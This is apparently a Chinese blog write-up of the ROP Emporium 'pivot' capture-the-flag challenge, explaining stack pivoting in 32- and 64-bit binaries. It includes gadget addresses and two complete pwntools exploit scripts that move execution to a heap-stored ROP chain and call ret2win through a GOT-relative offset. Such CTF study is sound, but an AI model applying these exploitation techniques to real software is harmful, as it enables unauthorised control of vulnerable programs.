【rop emporium 2020】pivot

这篇博客主要是关于rop emporium(2020年7月的版本)的ret2win这道题的学习记录
因为网上都是比较早版本的题解,所以写了这篇博客,不过这道题倒是变化不大。
题目链接:https://ropemporium.com/challenge/pivot.html
备注:以下题目都是在ubuntu16.04下完成

32位

stack pivot意思是将栈指针转移到别的地方。这是一种很有用的rop技巧,主要用于以下情况:

  • 链长度有限制
  • 无法控制栈

在这个题目中,需要用到前面学到的关于.plt,.got.plt的知识。这个题目导入了一个叫foothold_function的函数同时也包含一个ret2win函数。
ret2win函数的共享对象没有导入,但不意味着无法使用ROP调用该函数。题目给了一个思路,找到foothold_function的.got.plt的entry,然后加上ret2win的偏移,来求出ret2win的真实地址。需要注意的是,foothold_function()在正常程序执行流不会被调用,需要我们来调用从而更新它的.got.plt的entry。

首先,ida分析pivot32文件,反编译main函数,从main函数可以看到,main函数申请了一个堆空间ptr,然后将这个作为pwnme的参数。
在这里插入图片描述

再看看pwnme函数,题目很人性化地告诉我们了buf的地址,也就是之前构造的堆的地址。pwnme函数有两个输入,第一个在堆上,第二个在栈上,并且存在溢出。
在这里插入图片描述

由于溢出的字节比较少,在栈上构造rop链不太可能。这道题的话,刚好是可以转移到堆上去构造rop链。在第一个输入的时候,构造调用libpivot32.so里的ret2win的payload。在第二个输入的时候,将控制流转移到堆上去执行。
那么现在有两个问题:

  • 怎么调用libpivot32.so的ret2win函数?
  • 如何将控制流转移到堆上去执行?

对于第一个问题,按照题目给的提示,我们可以在pivot32的二进制找到foothold_function的plt和got表项,还可以在libpivot32.so找到ret2win这个函数。
在这里插入图片描述

那么我们可以借助foothold_function作为跳板,找到ret2win函数的实际地址。首先,利用foothold_function函数的plt地址,利用mov eax, [eax] gadget获取到foothold_function的.got.plt,再利用foothold_function与ret2win的偏移,计算出ret2win的实际地址。最后利用call eax gadget调用ret2win函数。
在这里插入图片描述

对于第二个问题,是用的leave指令来转移控制流的。
首先,栈的结构一般由buffer,ebp,return address组成的。
然后,leave指令在汇编上相当于:

mov esp,ebp
pop ebp

实际上,这里执行了两次的leave_ret过程。第一次函数运行结束后,进行leave的时候,会把ebp丢到堆空间的地方。然后利用第一次ret跳转到leave_ret的gadget的地方再执行一次leave_ret,从而将esp也弄到堆空间的payload_1处。由于每次ret都会使得esp+4,所以,伪造的ebp的地址要减去4。
在这里插入图片描述

需要的gadget:

0x080485f5 : leave ; ret
0x0804882c : pop eax ; ret
0x080484a9 : pop ebx ; ret
0x08048830 : mov eax, dword ptr [eax] ; ret
0x08048833 : add eax, ebx ; ret
0x080485f0 : call eax

exp是参考CTF all-in-one写的:

from pwn import *
binary = "./pivot32"

io = process(binary)
elf = ELF(binary)
lib = ELF("./libpivot32.so")

leave_ret = 0x080485f5
pop_eax = 0x0804882c
pop_ebx = 0x080484a9
mov_eax_eax = 0x08048830
add_eax_ebx = 0x08048833
call_eax = 0x080485f0

foothold_plt = elf.plt['foothold_function']
foothold_got = elf.got['foothold_function']
offset = int(lib.sym['ret2win']-lib.sym['foothold_function'])
leakaddr = int(io.recv().split()[20],16)

def step1():

    payload_1 = p32(foothold_plt)
    payload_1 += p32(pop_eax)
    payload_1 += p32(foothold_got)
    payload_1 += p32(mov_eax_eax)
    payload_1 += p32(pop_ebx)
    payload_1 += p32(offset)
    payload_1 += p32(add_eax_ebx)
    payload_1 += p32(call_eax)
    
    io.sendline(payload_1)

def step2():

    payload_2 = "a" * 40
    payload_2 += p32(leakaddr - 4) 
    payload_2 += p32(leave_ret)
    
    io.recvuntil(">")
    io.sendline(payload_2)
    
    print io.recvall()

if __name__ == "__main__":
    step1()
    step2()

最后结果:
在这里插入图片描述

64位

和32位一样的思路。就是不需要用leavegadget来构造栈帧,直接用xchg rax,rsp这个gadget来构造栈帧就可以了。
需要用到的gadget:

0x00000000004006b0 : call rax
0x00000000004009c0 : mov rax, qword ptr [rax] ; ret
0x00000000004009c4 : add rax, rbp ; ret
0x00000000004009bb : pop rax ; ret
0x00000000004007c8 : pop rbp ; ret
0x00000000004009bd : xchg rax, rsp ; ret

exp如下:

from pwn import *
binary = "./pivot"

io = process(binary)
elf = ELF(binary)
lib = ELF("./libpivot.so")

xchg_rax_rsp = 0x4009bd
pop_rax = 0x4009bb
pop_rbp = 0x4007c8
mov_rax_rax = 0x4009c0
add_rax_rbp = 0x4009c4
call_rax = 0x4006b0

foothold_plt = elf.plt['foothold_function']
foothold_got = elf.got['foothold_function']
offset = int(lib.sym['ret2win']-lib.sym['foothold_function'])
leakaddr = int(io.recv().split()[20],16)

def step1():

    payload_1 = p64(foothold_plt)
    payload_1 += p64(pop_rax)
    payload_1 += p64(foothold_got)
    payload_1 += p64(mov_rax_rax)
    payload_1 += p64(pop_rbp)
    payload_1 += p64(offset)
    payload_1 += p64(add_rax_rbp)
    payload_1 += p64(call_rax)
    
    io.sendline(payload_1)

def step2():

    payload_2 = "a" * 40
    payload_2 += p64(pop_rax)
    payload_2 += p64(leakaddr) 
    payload_2 += p64(xchg_rax_rsp)
    
    io.recvuntil(">")
    io.sendline(payload_2)
    
    print io.recvall()

if __name__ == "__main__":
    step1()
    step2()

最后结果:
在这里插入图片描述

  • 2
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

破落之实

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值